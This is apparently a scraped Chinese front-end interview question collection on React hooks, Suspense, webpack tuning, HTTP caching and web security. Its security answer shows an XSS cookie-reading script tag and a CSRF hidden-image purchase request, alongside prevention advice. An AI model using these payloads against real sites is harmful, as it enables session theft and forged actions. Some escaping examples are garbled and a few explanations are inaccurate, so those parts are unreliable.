# 第183题 Hooks闭包陷阱问题
import { useEffect, useState } from 'react';
function App() {
const [count,setCount] = useState(0);
useEffect(() => {
setInterval(() => {
console.log(count);
setCount(count + 1);
}, 1000);
}, []);
return <div>{count}</div>
}
export default App;
通过定时器不断的累加 count
,setCount
时拿到的 count
一直是 0
。useEffect
的依赖数组是 []
,也就是只会执行并保留第一次的 function
。而第一次的 function
引用了当时的 count
,形成了闭包,这就是闭包陷阱问题
解法1
useEffect(() => {
setInterval(() => {
// 每次的 count 都是参数传入的上一次的 state,没有形成闭包
setCount(count=>count + 1);
}, 1000);
}, []);
解法2
useEffect(() => {
console.log(count);
const timer = setInterval(() => {
setCount(count + 1);
}, 1000);
return () => {
clearInterval(timer);
}
}, [count]);
依赖数组加上了
count
,这样count
变化的时候重新执行effect
,那执行的函数引用的就是最新的count
值。
解法3
const updateCount = () => {
setCount(count + 1);
};
const ref = useRef(updateCount);
ref.current = updateCount;
useEffect(() => {
const timer = setInterval(() => ref.current(), 1000);
return () => {
clearInterval(timer);
}
}, []);
通过 useRef
创建 ref
对象,保存执行的函数,每次渲染更新 ref.current
的值为最新函数。
这样,定时器执行的函数里就始终引用的是最新的 count
。
useEffect
只跑一次,保证 setIntervel
不会重置,是每秒执行一次。
执行的函数是从 ref.current
取的,这个函数每次渲染都会更新,引用着最新的 count
。
# 第182题 Suspense 有哪些使用场景,使用 Suspense 的好处有哪些?
使用场景有:
Suspense + lazy
Suspense
+ 异步数据加载Suspense + use
Suspense + useTransition
Suspense + streaming
好处有:
- 更优雅的写法。使用
Suspense
可以避免写出下面这种代码:
function App() {
// 其它逻辑
if (loading) {
return <Loading />
}
return xxx
}
- 解决
Race Condition
问题:React Suspense
天然可以解决Race Condition
,这来源于两部分原因:- 当异步请求发生时 UI 会立即渲染 fallback 状态;
- 数据请求与组件渲染逻辑分离。
- 更好的性能:通常我们会将异步请求写在
useEffect
中,这需要等待渲染结束后才会发出请求,而使用 Suspense 可以把这部分前置到渲染时。 - 更好的用户体验:借助
useTransition
和Suspense
可以降低此次的更新优先级以及延迟渲染,这样可以避免卡顿以及带来更好的用户体验。 - 流式渲染:
Suspense
允许推迟某些内容的渲染,直到数据加载完毕。这样使得页面加载更快,无需等到数据准备好即可开始渲染和hydration
,降低TTFB
、FCP
、TTI
等性能指标,从而用户可以更早地看到内容和进行交互
# 第181题 怎么理解 React 并发更新特性
并发更新是 React18 最主要的特性,同时由于并发机制的特性给社区带来了新的活力,当然也产生了一些新的问题,例如 React Tearing。
为什么我们需要并发更新?
我们看的电影和动画是由许多静态图像(帧)快速播放组成的,人眼的反应速度有限,当这些帧足够快地切换时,我们看到的就是流畅的动画。对于人眼来说,大约 16-24 帧/秒就足以形成连续动画的感觉,但更高的帧率会提供更流畅、自然的效果。
而常见的显示器刷新率有 60Hz、120Hz、144Hz 等(Hz 代表每秒更新画面的次数)。60Hz 的显示器意味着每秒钟屏幕刷新 60 次,即每次刷新间隔大约 16.7 毫秒。浏览器会自动适配这个频率,这时对应我们前端页面就是每 16.7ms 需要渲染一次。
但是我们知道,UI 渲染和 JS 执行都是运行在主线程上,也就是说当执行 JS 的时候就没有办法进行 UI 渲染,从而带来页面卡顿的感觉。并且正常 React 组件的渲染过程是连续的、不可被中断的,自然当 React 渲染时间过长时就会占用主线程阻止 UI 渲染从而带来卡顿的现象。
因此我们需要并发更新,也就是把连续的、不可中断的执行过程变成一小块、一小块的切片去执行,那在执行空隙期间自然有机会得到渲染。
同时在渲染的间隙我们也有机会去判断渲染优先级,从而优先执行高优先级的任务。
并发更新是什么?
React 并发更新 = Lane 模型 + 时间切片
- Lane 模型指的是会给每次渲染分配一个优先级,React 会根据这些不同的优先级来决定哪些更新应该优先处理,哪些可以稍后处理。
- 时间切片就是将整个连续不可中断的渲染过程变成可以中断的、离散的渲染。这样在间隙中可以判断是否有高优先级的任务,优先处理。以及渲染 UI 界面。
在背后 React 实现了 Scheduler (opens new window) 这个包来辅助完成整个过程。这个过程使用宏任务(React 会根据是否支持依次选择 setImmediate
-> MessageChannel
-> setTimeout
),因为每执行一个宏任务,浏览器都会有机会得到渲染,如果微任务的话就需要等到清空微任务队列的全部任务。当 Scheduler 发现任务执行超过默认 5ms,就会让出主线程给 UI 渲染或者响应用户操作,从而完成了时间切片的能力。
在并发更新的过程中怎么保证在组件间状态的一致性?
React18 增加了并发更新机制,本质上是时间切片,并且高优先级会打断低优先级的任务
。在渲染的过程中,由于整个连续不断的渲染过程拆分成了一个个分片的渲染片段,因此在渲染的间隙时就有机会去响应用户的操作:
因此当用户此时触发了更新状态的操作就会导致 Store 的状态被更新,在后续的渲染组件使用到的状态和已经渲染的状态不一致:
这就是 React Tearing 问题,React 为生态提供了 useSyncExternalStore
来解决这个问题,核心原理就是将这次的并发更新变为同步更新(也就是不可中断) 。整个并发更新过程变回同步不可被中断了,自然也就不会有这个问题了。
# 第180题 webpack性能优化-构建速度
先分析遇到哪些问题,在配合下面的方法优化,不要上来就回答,让人觉得背面试题
- 优化
babel-loader
缓存 IgnorePlugin
忽略某些包,避免引入无用模块(直接不引入,需要在代码中引入)noParse
避免重复打包(引入但不打包)happyPack
多线程打包- JS单线程的,开启多进程打包
- 提高构建速度(特别是多核
CPU
)
parallelUglifyPlugin
多进程压缩JS
- 关于多进程
- 项目较大,打包较慢,开启多进程能提高速度
- 项目较小,打包很快,开启多进程反而会降低速度(进程开销)
- 按需使用
- 关于多进程
- 自动刷新(开发环境)
- 热更新(开发环境)
- 自动刷新:整个网页全部刷新,速度较慢,状态会丢失
- 热更新:新代码生效,网页不刷新,状态不丢失
DllPlugin
动态链接库(dllPlugin
只适用于开发环境,因为生产环境下打包一次就完了,没有必要用于生产环境)- 前端框架如
react
、vue
体积大,构建慢 - 较稳定,不常升级版本,同一个版本只构建一次,不用每次都重新构建
webpack
已内置DllPlugin
,不需要安装DllPlugin
打包出dll
文件DllReferencePlugin
引用dll
文件
- 前端框架如
# 优化babel-loader
# IgnorePlugin
import moment from 'moment'
- 默认会引入所有语言JS代码,代码过大
import moment from 'moment'
moment.locale('zh-cn') // 设置语言为中文
// 手动引入中文语言包
import 'moment/locale/zh-cn'
// webpack.prod.js
pluins: [
// 忽略 moment 下的 /locale 目录
new webpack.IgnorePlugin(/\.\/locale/, /moment/),
]
# noParse
# happyPack
// webpack.prod.js
const HappyPack = require('happypack')
{
module: {
rules: [
// js
{
test: /\.js$/,
// 把对 .js 文件的处理转交给 id 为 babel 的 HappyPack 实例
use: ['happypack/loader?id=babel'],
include: srcPath,
// exclude: /node_modules/
},
]
},
plugins: [
// happyPack 开启多进程打包
new HappyPack({
// 用唯一的标识符 id 来代表当前的 HappyPack 是用来处理一类特定的文件
id: 'babel',
// 如何处理 .js 文件,用法和 Loader 配置中一样
loaders: ['babel-loader?cacheDirectory']
}),
]
}
# parallelUglifyPlugin
// webpack.prod.js
const ParallelUglifyPlugin = require('webpack-parallel-uglify-plugin')
{
plugins: [
// 使用 ParallelUglifyPlugin 并行压缩输出的 JS 代码
new ParallelUglifyPlugin({
// 传递给 UglifyJS 的参数
// (还是使用 UglifyJS 压缩,只不过帮助开启了多进程)
uglifyJS: {
output: {
beautify: false, // 最紧凑的输出
comments: false, // 删除所有的注释
},
compress: {
// 删除所有的 `console` 语句,可以兼容ie浏览器
drop_console: true,
// 内嵌定义了但是只用到一次的变量
collapse_vars: true,
// 提取出出现多次但是没有定义成变量去引用的静态值
reduce_vars: true,
}
}
})
]
}
# 自动刷新
使用
dev-server
即可
# 热更新
// webpack.dev.js
const HotModuleReplacementPlugin = require('webpack/lib/HotModuleReplacementPlugin');
entry: {
// index: path.join(srcPath, 'index.js'),
index: [
'webpack-dev-server/client?http://localhost:8080/',
'webpack/hot/dev-server',
path.join(srcPath, 'index.js')
],
other: path.join(srcPath, 'other.js')
},
devServer: {
hot: true
},
plugins: [
new HotModuleReplacementPlugin()
],
// 代码中index.js
// 增加,开启热更新之后的代码逻辑
if (module.hot) {
// 注册哪些模块需要热更新
module.hot.accept(['./math'], () => {
const sumRes = sum(10, 30)
console.log('sumRes in hot', sumRes)
})
}
# 优化打包速度完整代码
// webpack.common.js
const path = require('path')
const HtmlWebpackPlugin = require('html-webpack-plugin')
const { srcPath, distPath } = require('./paths')
module.exports = {
entry: {
index: path.join(srcPath, 'index.js'),
other: path.join(srcPath, 'other.js')
},
module: {
rules: [
// babel-loader
]
},
plugins: [
// new HtmlWebpackPlugin({
// template: path.join(srcPath, 'index.html'),
// filename: 'index.html'
// })
// 多入口 - 生成 index.html
new HtmlWebpackPlugin({
template: path.join(srcPath, 'index.html'),
filename: 'index.html',
// chunks 表示该页面要引用哪些 chunk (即上面的 index 和 other),默认全部引用
chunks: ['index', 'vendor', 'common'] // 要考虑代码分割
}),
// 多入口 - 生成 other.html
new HtmlWebpackPlugin({
template: path.join(srcPath, 'other.html'),
filename: 'other.html',
chunks: ['other', 'vendor', 'common'] // 考虑代码分割
})
]
}
// webpack.dev.js
const path = require('path')
const webpack = require('webpack')
const webpackCommonConf = require('./webpack.common.js')
const { smart } = require('webpack-merge')
const { srcPath, distPath } = require('./paths')
const HotModuleReplacementPlugin = require('webpack/lib/HotModuleReplacementPlugin');
module.exports = smart(webpackCommonConf, {
mode: 'development',
entry: {
// index: path.join(srcPath, 'index.js'),
index: [
'webpack-dev-server/client?http://localhost:8080/',
'webpack/hot/dev-server',
path.join(srcPath, 'index.js')
],
other: path.join(srcPath, 'other.js')
},
module: {
rules: [
{
test: /\.js$/,
loader: ['babel-loader?cacheDirectory'],
include: srcPath,
// exclude: /node_modules/
},
// 直接引入图片 url
{
test: /\.(png|jpg|jpeg|gif)$/,
use: 'file-loader'
},
// {
// test: /\.css$/,
// // loader 的执行顺序是:从后往前
// loader: ['style-loader', 'css-loader']
// },
{
test: /\.css$/,
// loader 的执行顺序是:从后往前
loader: ['style-loader', 'css-loader', 'postcss-loader'] // 加了 postcss
},
{
test: /\.less$/,
// 增加 'less-loader' ,注意顺序
loader: ['style-loader', 'css-loader', 'less-loader']
}
]
},
plugins: [
new webpack.DefinePlugin({
// window.ENV = 'production'
ENV: JSON.stringify('development')
}),
new HotModuleReplacementPlugin()
],
devServer: {
port: 8080,
progress: true, // 显示打包的进度条
contentBase: distPath, // 根目录
open: true, // 自动打开浏览器
compress: true, // 启动 gzip 压缩
hot: true,
// 设置代理
proxy: {
// 将本地 /api/xxx 代理到 localhost:3000/api/xxx
'/api': 'http://localhost:3000',
// 将本地 /api2/xxx 代理到 localhost:3000/xxx
'/api2': {
target: 'http://localhost:3000',
pathRewrite: {
'/api2': ''
}
}
}
},
// watch: true, // 开启监听,默认为 false
// watchOptions: {
// ignored: /node_modules/, // 忽略哪些
// // 监听到变化发生后会等300ms再去执行动作,防止文件更新太快导致重新编译频率太高
// // 默认为 300ms
// aggregateTimeout: 300,
// // 判断文件是否发生变化是通过不停的去询问系统指定文件有没有变化实现的
// // 默认每隔1000毫秒询问一次
// poll: 1000
// }
})
// webpack.prod.js
const path = require('path')
const webpack = require('webpack')
const { smart } = require('webpack-merge')
const { CleanWebpackPlugin } = require('clean-webpack-plugin')
const MiniCssExtractPlugin = require('mini-css-extract-plugin')
const TerserJSPlugin = require('terser-webpack-plugin')
const OptimizeCSSAssetsPlugin = require('optimize-css-assets-webpack-plugin')
const HappyPack = require('happypack')
const ParallelUglifyPlugin = require('webpack-parallel-uglify-plugin')
const webpackCommonConf = require('./webpack.common.js')
const { srcPath, distPath } = require('./paths')
module.exports = smart(webpackCommonConf, {
mode: 'production',
output: {
// filename: 'bundle.[contentHash:8].js', // 打包代码时,加上 hash 戳
filename: '[name].[contentHash:8].js', // name 即多入口时 entry 的 key
path: distPath,
// publicPath: 'http://cdn.abc.com' // 修改所有静态文件 url 的前缀(如 cdn 域名),这里暂时用不到
},
module: {
rules: [
// js
{
test: /\.js$/,
// 把对 .js 文件的处理转交给 id 为 babel 的 HappyPack 实例
use: ['happypack/loader?id=babel'],
include: srcPath,
// exclude: /node_modules/
},
// 图片 - 考虑 base64 编码的情况
{
test: /\.(png|jpg|jpeg|gif)$/,
use: {
loader: 'url-loader',
options: {
// 小于 5kb 的图片用 base64 格式产出
// 否则,依然延用 file-loader 的形式,产出 url 格式
limit: 5 * 1024,
// 打包到 img 目录下
outputPath: '/img1/',
// 设置图片的 cdn 地址(也可以统一在外面的 output 中设置,那将作用于所有静态资源)
// publicPath: 'http://cdn.abc.com'
}
}
},
// 抽离 css
{
test: /\.css$/,
loader: [
MiniCssExtractPlugin.loader, // 注意,这里不再用 style-loader
'css-loader',
'postcss-loader'
]
},
// 抽离 less
{
test: /\.less$/,
loader: [
MiniCssExtractPlugin.loader, // 注意,这里不再用 style-loader
'css-loader',
'less-loader',
'postcss-loader'
]
}
]
},
plugins: [
new CleanWebpackPlugin(), // 会默认清空 output.path 文件夹
new webpack.DefinePlugin({
// window.ENV = 'production'
ENV: JSON.stringify('production')
}),
// 抽离 css 文件
new MiniCssExtractPlugin({
filename: 'css/main.[contentHash:8].css'
}),
// 忽略 moment 下的 /locale 目录
new webpack.IgnorePlugin(/\.\/locale/, /moment/),
// happyPack 开启多进程打包
new HappyPack({
// 用唯一的标识符 id 来代表当前的 HappyPack 是用来处理一类特定的文件
id: 'babel',
// 如何处理 .js 文件,用法和 Loader 配置中一样
loaders: ['babel-loader?cacheDirectory']
}),
// 使用 ParallelUglifyPlugin 并行压缩输出的 JS 代码
new ParallelUglifyPlugin({
// 传递给 UglifyJS 的参数
// (还是使用 UglifyJS 压缩,只不过帮助开启了多进程)
uglifyJS: {
output: {
beautify: false, // 最紧凑的输出
comments: false, // 删除所有的注释
},
compress: {
// 删除所有的 `console` 语句,可以兼容ie浏览器
drop_console: true,
// 内嵌定义了但是只用到一次的变量
collapse_vars: true,
// 提取出出现多次但是没有定义成变量去引用的静态值
reduce_vars: true,
}
}
})
],
optimization: {
// 压缩 css
minimizer: [new TerserJSPlugin({}), new OptimizeCSSAssetsPlugin({})],
// 分割代码块
splitChunks: {
chunks: 'all',
/**
* initial 入口chunk,对于异步导入的文件不处理
async 异步chunk,只对异步导入的文件处理
all 全部chunk
*/
// 缓存分组
cacheGroups: {
// 第三方模块
vendor: {
name: 'vendor', // chunk 名称
priority: 1, // 权限更高,优先抽离,重要!!!
test: /node_modules/,
minSize: 0, // 大小限制
minChunks: 1 // 最少复用过几次
},
// 公共的模块
common: {
name: 'common', // chunk 名称
priority: 0, // 优先级
minSize: 0, // 公共模块的大小限制
minChunks: 2 // 公共模块最少复用过几次
}
}
}
}
})
# DllPlugin 动态链接库
// webpack.common.js
const path = require('path')
const HtmlWebpackPlugin = require('html-webpack-plugin')
const { srcPath, distPath } = require('./paths')
module.exports = {
entry: path.join(srcPath, 'index'),
module: {
rules: [
{
test: /\.js$/,
use: ['babel-loader'],
include: srcPath,
exclude: /node_modules/
},
]
},
plugins: [
new HtmlWebpackPlugin({
template: path.join(srcPath, 'index.html'),
filename: 'index.html'
})
]
}
// webpack.dev.js
const path = require('path')
const webpack = require('webpack')
const { merge } = require('webpack-merge')
const webpackCommonConf = require('./webpack.common.js')
const { srcPath, distPath } = require('./paths')
// 第一,引入 DllReferencePlugin
const DllReferencePlugin = require('webpack/lib/DllReferencePlugin');
module.exports = merge(webpackCommonConf, {
mode: 'development',
module: {
rules: [
{
test: /\.js$/,
use: ['babel-loader'],
include: srcPath,
exclude: /node_modules/ // 第二,不要再转换 node_modules 的代码
},
]
},
plugins: [
new webpack.DefinePlugin({
// window.ENV = 'production'
ENV: JSON.stringify('development')
}),
// 第三,告诉 Webpack 使用了哪些动态链接库
new DllReferencePlugin({
// 描述 react 动态链接库的文件内容
manifest: require(path.join(distPath, 'react.manifest.json')),
}),
],
devServer: {
port: 8080,
progress: true, // 显示打包的进度条
contentBase: distPath, // 根目录
open: true, // 自动打开浏览器
compress: true, // 启动 gzip 压缩
// 设置代理
proxy: {
// 将本地 /api/xxx 代理到 localhost:3000/api/xxx
'/api': 'http://localhost:3000',
// 将本地 /api2/xxx 代理到 localhost:3000/xxx
'/api2': {
target: 'http://localhost:3000',
pathRewrite: {
'/api2': ''
}
}
}
}
})
// webpack.prod.js
const path = require('path')
const webpack = require('webpack')
const webpackCommonConf = require('./webpack.common.js')
const { merge } = require('webpack-merge')
const { srcPath, distPath } = require('./paths')
module.exports = merge(webpackCommonConf, {
mode: 'production',
output: {
filename: 'bundle.[contenthash:8].js', // 打包代码时,加上 hash 戳
path: distPath,
// publicPath: 'http://cdn.abc.com' // 修改所有静态文件 url 的前缀(如 cdn 域名),这里暂时用不到
},
plugins: [
new webpack.DefinePlugin({
// window.ENV = 'production'
ENV: JSON.stringify('production')
})
]
})
// webpack.dll.js
const path = require('path')
const DllPlugin = require('webpack/lib/DllPlugin')
const { srcPath, distPath } = require('./paths')
module.exports = {
mode: 'development',
// JS 执行入口文件
entry: {
// 把 React 相关模块的放到一个单独的动态链接库
react: ['react', 'react-dom']
},
output: {
// 输出的动态链接库的文件名称,[name] 代表当前动态链接库的名称,
// 也就是 entry 中配置的 react 和 polyfill
filename: '[name].dll.js',
// 输出的文件都放到 dist 目录下
path: distPath,
// 存放动态链接库的全局变量名称,例如对应 react 来说就是 _dll_react
// 之所以在前面加上 _dll_ 是为了防止全局变量冲突
library: '_dll_[name]',
},
plugins: [
// 接入 DllPlugin
new DllPlugin({
// 动态链接库的全局变量名称,需要和 output.library 中保持一致
// 该字段的值也就是输出的 manifest.json 文件 中 name 字段的值
// 例如 react.manifest.json 中就有 "name": "_dll_react"
name: '_dll_[name]',
// 描述动态链接库的 manifest.json 文件输出时的文件名称
path: path.join(distPath, '[name].manifest.json'),
}),
],
}
"scripts": {
"dev": "webpack serve --config build/webpack.dev.js",
"dll": "webpack --config build/webpack.dll.js"
},
# 第179题 webpack性能优化-产出代码(线上运行)
前言
- 体积更小
- 合理分包,不重复加载
- 速度更快、内存使用更少
产出代码优化
- 小图片
base64
编码,减少http
请求// 图片 - 考虑 base64 编码的情况 module: { rules: [ { test: /\.(png|jpg|jpeg|gif)$/, use: { loader: 'url-loader', options: { // 小于 5kb 的图片用 base64 格式产出 // 否则,依然延用 file-loader 的形式,产出 url 格式 limit: 5 * 1024, // 打包到 img 目录下 outputPath: '/img1/', // 设置图片的 cdn 地址(也可以统一在外面的 output 中设置,那将作用于所有静态资源) // publicPath: 'http://cdn.abc.com' } } }, ] }
bundle
加contenthash
,有利于浏览器缓存- 懒加载
import()
语法,减少首屏加载时间 - 提取公共代码(第三方代码
Vue
、React
、loadash
等)没有必要多次打包,可以提取到vendor
中 IgnorePlugin
忽略不需要的包(如moment
多语言),减少打包的代码- 使用
CDN
加速,减少资源加载时间output: { filename: '[name].[contentHash:8].js', // name 即多入口时 entry 的 key path: path.join(__dirname, '..', 'dist'), // 修改所有静态文件 url 的前缀(如 cdn 域名) // 这样index.html中引入的js、css、图片等资源都会加上这个前缀 publicPath: 'http://cdn.abc.com' },
webpack
使用production
模式,mode: 'production'
- 自动压缩代码
- 启动
Tree Shaking
ES6
模块化,import
和export
,webpack
会自动识别,才会生效Commonjs
模块化,require
和module.exports
,webpack
无法识别,不会生效- ES6模块和Commonjs模块区别
ES6
模块是静态引入,编译时引入Commonjs
是动态引入,执行时引入- 只有
ES6 Module
才能静态分析,实现Tree Shaking
Scope Hoisting
:是webpack3
引入的一个新特性,它会分析出模块之间的依赖关系,尽可能地把打散的模块合并到一个函数中去,减少代码间的引用,从而减少代码体积- 减少代码体积
- 创建函数作用域更少
- 代码可读性更好
# 第178题 获取当前页面URL参数
// 传统方式
function query(name) {
// search: '?a=10&b=20&c=30'
const search = location.search.substr(1) // 去掉前面的? 类似 array.slice(1)
const reg = new RegExp(`(^|&)${name}=([^&]*)(&|$)`, 'i')
const res = search.match(reg)
if (res === null) {
return null
}
return res[2]
}
query('a') // 10
// 使用URLSearchParams方式
function query(name) {
const search = location.search
const p = new URLSearchParams(search)
return p.get(name)
}
console.log( query('b') ) // 20
将URL参数解析为JSON对象
// 传统方式,分析search
function queryToObj() {
const res = {}
// search: '?a=10&b=20&c=30'
const search = location.search.substr(1) // 去掉前面的?
search.split('&').forEach(paramStr=>{
const arr = paramStr.split('=')
const key = arr[0]
const val = arr[1]
res[key] = val
})
return res
}
// 使用URLSearchParams方式
function queryToObj() {
const res = {}
const pList = new URLSearchParams(location.search)
pList.forEach((val,key)=>{
res[key] = val
})
return res
}
# 第177题 手写深度比较lodash.isEqual
// 实现如下效果
const obj1 = {
a: 100,
b: {
x: 100,
y: 200
}
}
const obj2 = {
a: 100,
b: {
x: 100,
y: 200
}
}
isEqual(obj1, obj2) === true
// 实现
// 判断是否是对象或数组
function isObject(obj) {
return typeof obj === 'object' && obj !== null
}
// 全相等(深度)
function isEqual(obj1, obj2) {
if (!isObject(obj1) || !isObject(obj2)) {
// 值类型(注意,参与 equal 的一般不会是函数)
return obj1 === obj2
}
if (obj1 === obj2) {
return true
}
// 两个都是对象或数组,而且不相等
// 1. 先取出 obj1 和 obj2 的 keys ,比较个数
const obj1Keys = Object.keys(obj1)
const obj2Keys = Object.keys(obj2)
if (obj1Keys.length !== obj2Keys.length) {
return false
}
// 2. 以 obj1 为基准,和 obj2 一次递归比较
for (let key in obj1) {
// 比较当前 key 的 val —— 递归!!!
const res = isEqual(obj1[key], obj2[key])
if (!res) {
return false
}
}
// 3. 全相等
return true
}
// 测试
const obj1 = {
a: 100,
b: {
x: 100,
y: 200
}
}
const obj2 = {
a: 100,
b: {
x: 100,
y: 200
}
}
console.log( isEqual(obj1, obj2) ) // true
const arr1 = [1, 2, 3]
const arr2 = [1, 2, 3, 4]
console.log( isEqual(arr1, arr2) ) // false
# 第176题 常见的web前端攻击方式有哪些
- XSS跨站请求攻击
- 例子
- 一个博客网站,我发表了一篇博客,其中嵌入
<script>
脚本 - 脚本内容:获取
cookie
,发送到我的服务器(服务器配合跨域) - 发表这篇博客,有人查看它,我轻松拿到访问者的
cookie
<p>一段文字1</p> <p>一段文字2</p> <p>一段文字3</p> <!-- 获取cookie --> <script>alert(document.cookie)</script> <!-- 转义HTML --> <script>alert(document.cookie);</script>
- 一个博客网站,我发表了一篇博客,其中嵌入
- 预防
- 替换特殊字符,如
<
变为<
,>
变为t>
script
变为<script>
,直接显示,而不会作为脚本执行- 前端要替换字符,后端也要替换字符,使用xxs (opens new window)库处理即可
- 替换特殊字符,如
- 例子
- CSRF跨站请求伪造
- 例子
- 你正在购物,看中了某个商品,商品
id
是100
(此时我已经登录了网站cookie
记录在本地) - 付费接口是
xx.com/pay?id=100
,但没有任何验证 - 我是攻击者,我看中的商品
id=200
- 我向你发送一封电子邮件,标题很吸引人
- 但邮件正文隐藏着
<img src="xx.com/pay?id=200" />
- 你一查看邮件,就帮我买了
id=200
的商品 - 什么会这样?
- 我登录了网站,记录用户信息
cookie
在本地 img
标签支持跨域向xx.com/pay?id=200
发送请求,会携带本地的cookie
- 注意:
CSRF
拿不到用户的cookie
,只是借用了cookie
- 我登录了网站,记录用户信息
- 你正在购物,看中了某个商品,商品
- 预防
- 使用
POST
接口 - 增加验证,如支付密码、短信验证码、指纹等
- 使用
- 例子
# 第175题 前端性能优化
前言
- 是一个综合性问题,没有标准答案,但要求尽量全面
- 某些细节可能会问:防抖、节流等
性能优化原则
- 多使用内存、缓存或其他方法
- 减少
CPU
计算量,减少网络加载耗时
从何入手
- 让加载更快
- 减少资源体积:压缩代码
- 减少访问次数:合并代码,
SSR
服务端渲染,缓存- SSR
- 服务端渲染:将网页和数据一起加载,一起渲染
- 非
SSR
模式(前后端分离):先加载网页,在加载数据,在渲染数据
- 缓存
- 静态资源加
hash
后缀,根据文件内容计算hash
- 文件内容不变,则
hash
不变,则url
不变 url
和文件不变,则会自动触发http
缓存机制,返回304
- 静态资源加
- SSR
- 减少请求时间:
DNS
预解析,CDN
,HTTP2
- DNS预解析
DNS
解析:将域名解析为IP
地址DNS
预解析:提前解析域名,将域名解析为IP
地址DNS
预解析的方式:<link rel="dns-prefetch" href="//www.baidu.com">
- CDN
CDN
:内容分发网络,将资源分发到离用户最近的服务器上CDN
的优点:加快资源加载速度,减少服务器压力CDN
的缺点:增加了网络延迟,增加了服务器成本
- HTTP2
HTTP2
:HTTP
协议的下一代版本HTTP2
的优点:多路复用,二进制分帧,头部压缩,服务器推送
- DNS预解析
- 让渲染更快
CSS
放在head
,JS
放在body
下面- 尽早开始执行
JS
,用DOMContentLoaded
触发
window.addEventListener('load',function() { // 页面的全部资源加载完才会执行,包括图片、视频等 }) window.addEventListener('DOMContentLoaded',function() { // DOM渲染完才执行,此时图片、视频等可能还没有加载完 })
- 懒加载(图片懒加载,上滑加载更多)
- 对
DOM
查询进行缓存 - 频繁
DOM
操作,合并到一起插入到DOM
结构 - 节流、防抖,让渲染更流畅
- 防抖
- 防抖动是将多次执行变为
最后一次执行
- 适用于:
input
、click
等
const input = document.getElementById('input') // 防抖 function debounce(fn, delay = 500) { // timer 是闭包中的 let timer = null // 这里返回的函数是每次用户实际调用的防抖函数 // 如果已经设定过定时器了就清空上一次的定时器 // 开始一个新的定时器,延迟执行用户传入的方法 return function () { if (timer) { clearTimeout(timer) } timer = setTimeout(() => { fn.apply(this, arguments) timer = null }, delay) } } input.addEventListener('keyup', debounce(function (e) { console.log(e.target) console.log(input.value) }, 600))
- 防抖动是将多次执行变为
- 节流
- 节流是将多次执行变成
每隔一段时间执行
- 适用于:
resize
、scroll
、mousemove
等
const div = document.getElementById('div') // 节流 function throttle(fn, delay = 100) { let timer = null return function () { if (timer) { // 当前有任务了,直接返回 return } timer = setTimeout(() => { fn.apply(this, arguments) timer = null }, delay) } } // 拖拽 div.addEventListener('drag', throttle(function (e) { console.log(e.offsetX, e.offsetY) }))
- 节流是将多次执行变成
- 防抖
# 第174题 HTTP面试题总结
HTTP状态码
1XX
:信息状态码100 Continue
继续,一般在发送post
请求时,已发送了http header
之后服务端将返回此信息,表示确认,之后发送具体参数信息
2XX
:成功状态码200 OK
正常返回信息201 Created
请求成功并且服务器创建了新的资源202 Accepted
服务器已接受请求,但尚未处理
3XX
:重定向301 Moved Permanently
请求的网页已永久移动到新位置。302 Found
临时性重定向。303 See Other
临时性重定向,且总是使用GET
请求新的URI
。304 Not Modified
自从上次请求后,请求的网页未修改过。
4XX
:客户端错误400 Bad Request
服务器无法理解请求的格式,客户端不应当尝试再次使用相同的内容发起请求。401 Unauthorized
请求未授权。403 Forbidden
禁止访问。404 Not Found
找不到如何与URI
相匹配的资源。
5XX:
服务器错误500 Internal Server Error
最常见的服务器端错误。503 Service Unavailable
服务器端暂时无法处理请求(可能是过载或维护)。
常见状态码
200
成功301
永久重定向(配合location
,浏览器自动处理)302
临时重定向(配合location
,浏览器自动处理)304
资源未被修改403
没有权限访问,一般做权限角色404
资源未找到500
Internal Server Error
服务器内部错误502
Bad Gateway
503
Service Unavailable
504
Gateway Timeout
网关超时
502 与 504 的区别
这两种异常状态码都与网关 Gateway
有关,首先明确两个概念
Proxy (Gateway)
,反向代理层或者网关层。在公司级应用中一般使用Nginx
扮演这个角色Application (Upstream server)
,应用层服务,作为Proxy
层的上游服务。在公司中一般为各种语言编写的服务器应用,如Go/Java/Python/PHP/Node
等- 此时关于 502 与 504 的区别就很显而易见
502 Bad Gateway
:一般表现为你自己写的「应用层服务(Java/Go/PHP
)挂了」,或者网关指定的上游服务直接指错了地址,网关层无法接收到响应504 Gateway Timeout
:一般表现为「应用层服务 (Upstream
) 超时,超过了Gatway
配置的Timeout
」,如查库操作耗时三分钟,超过了Nginx
配置的超时时间
http headers
- 常见的Request Headers
Accept
浏览器可接收的数据格式Accept-Enconding
浏览器可接收的压缩算法,如gzip
Accept-Language
浏览器可接收的语言,如zh-CN
Connection:keep-alive
一次TCP
连接重复复用Cookie
Host
请求的域名是什么User-Agent
(简称UA
) 浏览器信息Content-type
发送数据的格式,如application/json
- 常见的Response Headers
Content-type
返回数据的格式,如application/json
Content-length
返回数据的大小,多少字节Content-Encoding
返回数据的压缩算法,如gzip
set-cookie
- 缓存相关的Headers
Cache Control
、Expired
Last-Modified
、If-Modified-Since
Etag
、If-None-Match
HTTP缓存
- 关于缓存介绍
- 为什么需要缓存?减少网络请求(网络请求不稳定性),让页面渲染更快
- 哪些资源可以被缓存?静态资源(
js
css
img
)webpack
打包加contenthash
根据内容生成hash
- http缓存策略(强制缓存 + 协商缓存)
- 强制缓存
- 服务端在
Response Headers
中返回给客户端 Cache-Control
:max-age=31536000
(单位:秒)一年- Cache-Control的值
max-age
(常用)缓存的内容将在max-age
秒后失效no-cache
(常用)不要本地强制缓存,正常向服务端请求(只要服务端最新的内容)。需要使用协商缓存来验证缓存数据(Etag
Last-Modified
)no-store
不要本地强制缓存,也不要服务端做缓存,所有内容都不会缓存,强制缓存和协商缓存都不会触发public
所有内容都将被缓存(客户端和代理服务器都可缓存)private
所有内容只有客户端可以缓存
- Expires
Expires
:Thu, 31 Dec 2037 23:55:55 GMT
(过期时间)- 已被
Cache-Control
代替
- Expires和Cache-Control的区别
Expires
是HTTP1.0
的产物,Cache-Control
是HTTP1.1
的产物Expires
是服务器返回的具体过期时间,Cache-Control
是相对时间Expires
存在兼容性问题,Cache-Control
优先级更高
- 强制缓存的优先级高于协商缓存
- 强制缓存的流程
- 浏览器第一次请求资源,服务器返回资源和
Cache-Control
Expires
- 浏览器第二次请求资源,会带上
Cache-Control
Expires
,服务器根据这两个值判断是否命中强制缓存 - 命中强制缓存,直接从缓存中读取资源,返回给浏览器
- 未命中强制缓存,会带上
If-Modified-Since
If-None-Match
,服务器根据这两个值判断是否命中协商缓存 - 命中协商缓存,返回
304
,浏览器直接从缓存中读取资源 - 未命中协商缓存,返回
200
,浏览器重新请求资源
